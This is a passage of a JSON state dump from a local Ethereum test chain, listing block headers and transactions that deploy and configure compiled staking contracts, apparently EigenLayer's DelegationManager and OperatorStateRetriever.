1811061022b5761022b611a4c565b602090810291909101015260010161017b565b5092915050565b60606000846001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa158015610287573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ab9190611a7b565b90506000856001600160a01b0316639e9923c26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103119190611a7b565b90506000866001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610353573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103779190611a7b565b9050600086516001600160401b038111156103945761039461134f565b6040519080825280602002602001820160405280156103c757816020015b60608152602001906001900390816103b25790505b50905060005b87518110156106b95760008882815181106103ea576103ea611a4c565b0160200151604051638902624560e01b815260f89190911c6004820181905263ffffffff8a16602483015291506000906001600160a01b03871690638902624590604401600060405180830381865afa15801561044b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104739190810190611a98565b905080516001600160401b0381111561048e5761048e61134f565b6040519080825280602002602001820160405280156104d957816020015b60408051606081018252600080825260208083018290529282015282526000199092019101816104ac5790505b508484815181106104ec576104ec611a4c565b602002602001018190525060005b81518110156106ae576040518060600160405280876001600160a01b03166347b314e885858151811061052f5761052f611a4c565b60200260200101516040518263ffffffff1660e01b815260040161055591815260200190565b602060405180830381865afa158015610572573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105969190611a7b565b6001600160a01b031681526020018383815181106105b6576105b6611a4c565b60200260200101518152602001896001600160a01b031663fa28c6278585815181106105e4576105e4611a4c565b60209081029190910101516040516001600160e01b031960e084901b168152600481019190915260ff8816602482015263ffffffff8f166044820152606401602060405180830381865afa158015610640573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106649190611b28565b6001600160601b031681525085858151811061068257610682611a4c565b6020026020010151828151811061069b5761069b611a4c565b60209081029190910101526001016104fa565b5050506001016103cd565b50979650505050505050565b606081516001600160401b038111156106e0576106e061134f565b604051908082528060200260200182016040528015610709578160200160208202803683370190505b50905060005b825181101561023e57836001600160a01b031663296bb06484838151811061073957610739611a4c565b60200260200101516040518263ffffffff1660e01b815260040161075f91815260200190565b602060405180830381865afa15801561077c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a09190611a7b565b8282815181106107b2576107b2611a4c565b6001600160a01b039092166020928302919091019091015260010161070f565b6107fd6040518060800160405280606081526020016060815260200160608152602001606081525090565b6000876001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108619190611a7b565b905061088e6040518060800160405280606081526020016060815260200160608152602001606081525090565b6040516361c8a12f60e11b81526001600160a01b038a169063c391425e906108be908b9089908990600401611b51565b600060405180830381865afa1580156108db573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526109039190810190611b98565b81526040516340e03a8160e11b81526001600160a01b038316906381c0750290610935908b908b908b90600401611c4f565b600060405180830381865afa158015610952573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261097a9190810190611b98565b6040820152856001600160401b038111156109975761099761134f565b6040519080825280602002602001820160405280156109ca57816020015b60608152602001906001900390816109b55790505b50606082015260005b60ff8116871115610dfb576000856001600160401b038111156109f8576109f861134f565b604051908082528060200260200182016040528015610a21578160200160208202803683370190505b5083606001518360ff1681518110610a3b57610a3b611a4c565b602002602001018190525060005b86811015610d055760008c6001600160a01b03166304ec63518a8a85818110610a7457610a74611a4c565b905060200201358e88600001518681518110610a9257610a92611a4c565b60200260200101516040518463ffffffff1660e01b8152600401610acf9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa158015610aec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b109190611c78565b9050806001600160c01b0316600003610bbb5760405162461bcd60e51b815260206004820152605c60248201527f4f70657261746f7253746174655265747269657665722e676574436865636b5360448201527f69676e617475726573496e64696365733a206f70657261746f72206d7573742060648201527f6265207265676973746572656420617420626c6f636b6e756d62657200000000608482015260a40160405180910390fd5b8a8a8560ff16818110610bd057610bd0611a4c565b60016001600160c01b038516919093013560f81c1c82169091039050610cfc57856001600160a01b031663dd9846b98a8a85818110610c1157610c11611a4c565b905060200201358d8d8860ff16818110610c2d57610c2d611a4c565b6040516001600160e01b031960e087901b1681526004810194909452919091013560f81c60248301525063ffffffff8f166044820152606401602060405180830381865afa158015610c83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca79190611ca1565b85606001518560ff1681518110610cc057610cc0611a4c565b60200260200101518481518110610cd957610cd9611a4c565b63ffffffff9092166020928302919091019091015282610cf881611cd4565b9350505b50600101610a49565b506000816001600160401b03811115610d2057610d2061134f565b604051908082528060200260200182016040528015610d49578160200160208202803683370190505b50905060005b82811015610dc05784606001518460ff1681518110610d7057610d70611a4c565b60200260200101518181518110610d8957610d89611a4c565b6020026020010151828281518110610da357610da3611a4c565b63ffffffff90921660209283029190910190910152600101610d4f565b508084606001518460ff1681518110610ddb57610ddb611a4c565b602002602001018190525050508080610df390611ced565b9150506109d3565b506000896001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e609190611a7b565b60405163354952a360e21b81529091506001600160a01b0382169063d5254a8c90610e93908b908b908e90600401611d0c565b600060405180830381865afa158015610eb0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610ed89190810190611b98565b60208301525098975050505050505050565b60606000846001600160a01b031663c391425e84866040518363ffffffff1660e01b8152600401610f1c929190611d36565b600060405180830381865afa158015610f39573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f619190810190611b98565b9050600084516001600160401b03811115610f7e57610f7e61134f565b604051908082528060200260200182016040528015610fa7578160200160208202803683370190505b50905060005b855181101561109e57866001600160a01b03166304ec6351878381518110610fd757610fd7611a4c565b602002602001015187868581518110610ff257610ff2611a4c565b60200260200101516040518463ffffffff1660e01b815260040161102f9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190611c78565b6001600160c01b031682828151811061108b5761108b611a4c565b6020908102919091010152600101610fad565b5095945050505050565b60408051600180825281830190925260009160609183916020808301908036833701905050905084816000815181106110e3576110e3611a4c565b60209081029190910101526040516361c8a12f60e11b81526000906001600160a01b0388169063c391425e9061111f9088908690600401611d36565b600060405180830381865afa15801561113c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526111649190810190611b98565b60008151811061117657611176611a4c565b60209081029190910101516040516304ec635160e01b81526004810188905263ffffffff87811660248301529091166044820181905291506000906001600160a01b038916906304ec635190606401602060405180830381865afa1580156111e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112069190611c78565b6001600160c01b03169050600061121c8261123a565b90508161122a8a838a610245565b9550955050505050935093915050565b606060008061124884611306565b61ffff166001600160401b038111156112635761126361134f565b6040519080825280601f01601f19166020018201604052801561128d576020820181803683370190505b5090506000805b8251821080156112a5575061010081105b156112fc576001811b9350858416156112ec578060f81b8383815181106112ce576112ce611a4c565b60200101906001600160f81b031916908160001a9053508160010191505b6112f581611cd4565b9050611294565b5090949350505050565b6000805b82156113315761131b600184611d55565b909216918061132981611d68565b91505061130a565b92915050565b6001600160a01b038116811461134c57600080fd5b50565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561138d5761138d61134f565b604052919050565b60006001600160401b038211156113ae576113ae61134f565b5060051b60200190565b600080604083850312156113cb57600080fd5b82356113d681611337565b91506020838101356001600160401b038111156113f257600080fd5b8401601f8101861361140357600080fd5b803561141661141182611395565b611365565b81815260059190911b8201830190838101908883111561143557600080fd5b928401925b8284101561145c57833561144d81611337565b8252928401929084019061143a565b80955050505050509250929050565b60008151808452602080850194506020840160005b8381101561149c57815187529582019590820190600101611480565b509495945050505050565b6020815260006114ba602083018461146b565b9392505050565b63ffffffff8116811461134c57600080fd5b80356114de816114c1565b919050565b6000806000606084860312156114f857600080fd5b833561150381611337565b92506020848101356001600160401b038082111561152057600080fd5b818701915087601f83011261153457600080fd5b8135818111156115465761154661134f565b611558601f8201601f19168501611365565b9150808252888482850101111561156e57600080fd5b8084840185840137600084828401015250809450505050611591604085016114d3565b90509250925092565b600082825180855260208086019550808260051b8401018186016000805b8581101561163357868403601f19018a52825180518086529086019086860190845b8181101561161e57835180516001600160a01b03168452898101518a8501526040908101516001600160601b031690840152928801926060909201916001016115da565b50509a86019a945050918401916001016115b8565b509198975050505050505050565b6020815260006114ba602083018461159a565b600082601f83011261166557600080fd5b8135602061167561141183611395565b8083825260208201915060208460051b87010193508684111561169757600080fd5b602086015b848110156116b3578035835291830191830161169c565b509695505050505050565b600080604083850312156116d157600080fd5b82356116dc81611337565b915060208301356001600160401b038111156116f757600080fd5b61170385828601611654565b9150509250929050565b6020808252825182820181905260009190848201906040850190845b8181101561174e5783516001600160a01b031683529284019291840191600101611729565b50909695505050505050565b60008083601f84011261176c57600080fd5b5081356001600160401b0381111561178357600080fd5b6020830191508360208260051b850101111561179e57600080fd5b9250929050565b600080600080600080608087890312156117be57600080fd5b86356117c981611337565b955060208701356117d9816114c1565b945060408701356001600160401b03808211156117f557600080fd5b818901915089601f83011261180957600080fd5b81358181111561181857600080fd5b8a602082850101111561182a57600080fd5b60208301965080955050606089013591508082111561184857600080fd5b5061185589828a0161175a565b979a9699509497509295939492505050565b60008151808452602080850194506020840160005b8381101561149c57815163ffffffff168752958201959082019060010161187c565b6000602080835283516080828501526118ba60a0850182611867565b905081850151601f19808684030160408701526118d78383611867565b925060408701519150808684030160608701526118f48383611867565b60608801518782038301608089015280518083529194508501925084840190600581901b8501860160005b8281101561194b5784878303018452611939828751611867565b9588019593880193915060010161191f565b509998505050505050505050565b60008060006060848603121561196e57600080fd5b833561197981611337565b925060208401356001600160401b0381111561199457600080fd5b6119a086828701611654565b92505060408401356119b1816114c1565b809150509250925092565b6020808252825182820181905260009190848201906040850190845b8181101561174e578351835292840192918401916001016119d8565b600080600060608486031215611a0957600080fd5b8335611a1481611337565b92506020840135915060408401356119b1816114c1565b828152604060208201526000611a44604083018461159a565b949350505050565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a7457600080fd5b5051919050565b600060208284031215611a8d57600080fd5b81516114ba81611337565b60006020808385031215611aab57600080fd5b82516001600160401b03811115611ac157600080fd5b8301601f81018513611ad257600080fd5b8051611ae061141182611395565b81815260059190911b82018301908381019087831115611aff57600080fd5b928401925b82841015611b1d57835182529284019290840190611b04565b979650505050505050565b600060208284031215611b3a57600080fd5b81516001600160601b03811681146114ba57600080fd5b63ffffffff84168152604060208201819052810182905260006001600160fb1b03831115611b7e57600080fd5b8260051b8085606085013791909101606001949350505050565b60006020808385031215611bab57600080fd5b82516001600160401b03811115611bc157600080fd5b8301601f81018513611bd257600080fd5b8051611be061141182611395565b81815260059190911b82018301908381019087831115611bff57600080fd5b928401925b82841015611b1d578351611c17816114c1565b82529284019290840190611c04565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b63ffffffff84168152604060208201526000611c6f604083018486611c26565b95945050505050565b600060208284031215611c8a57600080fd5b81516001600160c01b03811681146114ba57600080fd5b600060208284031215611cb357600080fd5b81516114ba816114c1565b634e487b7160e01b600052601160045260246000fd5b600060018201611ce657611ce6611cbe565b5060010190565b600060ff821660ff8103611d0357611d03611cbe565b60010192915050565b604081526000611d20604083018587611c26565b905063ffffffff83166020830152949350505050565b63ffffffff83168152604060208201526000611a44604083018461146b565b8181038181111561133157611331611cbe565b600061ffff808316818103611d7f57611d7f611cbe565b600101939250505056fea26469706673582212202b3e36f430d5f7f12f8124a33676c0954c36bdaf4a71ac7e145cf85fb593480b64736f6c63430008180033","r":"0xdd14982b8da9e51d4f4dfdf14005ecff4763b68950b3fbfa160cc6054354c563","s":"0x1676a8d2b0520745b1ef1e6721aee1a27f51af37c20907104639ade1d922c449","yParity":"0x0","hash":"0x9d63d02dcfd8e6a02a790d9642c049e0c622089ff1dc818e8f3c4bffb2c9da06"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x49f63408e3604ef81facaecb93e0343c9d51e5081a1ff0c7c0d20610b2121f7b","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x549311a6391c0dff69502d3ba7412282facafad9bb0d47cbbc76573887e14a63","transactionsRoot":"0x43ae13ed2a4ab5ff1ac8e9de018f8d045883c4abb1b599345c5c25f1666389ee","receiptsRoot":"0x784dd9e98b6f00ad271e8b84c4917bcbab2b639c31336dfd48bb5ef7325810ac","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000008000000000","difficulty":"0x0","number":"0x10","gasLimit":"0x1c9c380","gasUsed":"0x64cb","timestamp":"0x6735270e","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x9f7e3a4","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x36","gas":"0x9368","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","value":"0x0","accessList":[],"input":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","r":"0xa9bc09dc8a85a004b62eaca627be3e73d9da04793b493c9005b54db75bacad73","s":"0x7644f15b2ffa78300494a0e0df390613c15f5a4dcedac228fb882d7fc954d9a8","yParity":"0x0","hash":"0x97df6ec97322402615aae7fb1edc6fe2d98c25e08dd4f26eec9f1fde3a9947eb"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x5e110648bab9775615f660a7d3fae17f050381bcecd94b54b968a6f9992e8a71","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x5cc54ed47d2109a6d44bbc9740c03db5a7dc06cda8b2583b7682a138f53f0c46","transactionsRoot":"0xcd05b2cdc1a03fc38d72cea881b9344095716245ec83c3ddba85e0a19986d3f0","receiptsRoot":"0x6c93e1a9c960fb71d553c94746a181f9e220284ebd75e628d4f627aa7f07d737","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000480000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000020000000000400000000000","difficulty":"0x0","number":"0xa","gasLimit":"0x1c9c380","gasUsed":"0x78443a","timestamp":"0x672a8e17","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x13bf9784","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0xc","gas":"0x643a2f","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x61010060405234801561001157600080fd5b50604051615c04380380615c0483398101604081905261003091610135565b6001600160a01b0380841660805280821660c052821660a05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516159ee61021660003960006126560152600081816105b10152818161101d0152818161139901528181611be5015281816129b001528181613e5b0152614347015260006107620152600081816104f901528181610feb0152818161136701528181611c7901528181612a7d01528181612c0001528181613f8101526143ed01526159ee6000f3fe608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148061103f5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614806113bb5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000000000000000000000000000000000000000000000909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f8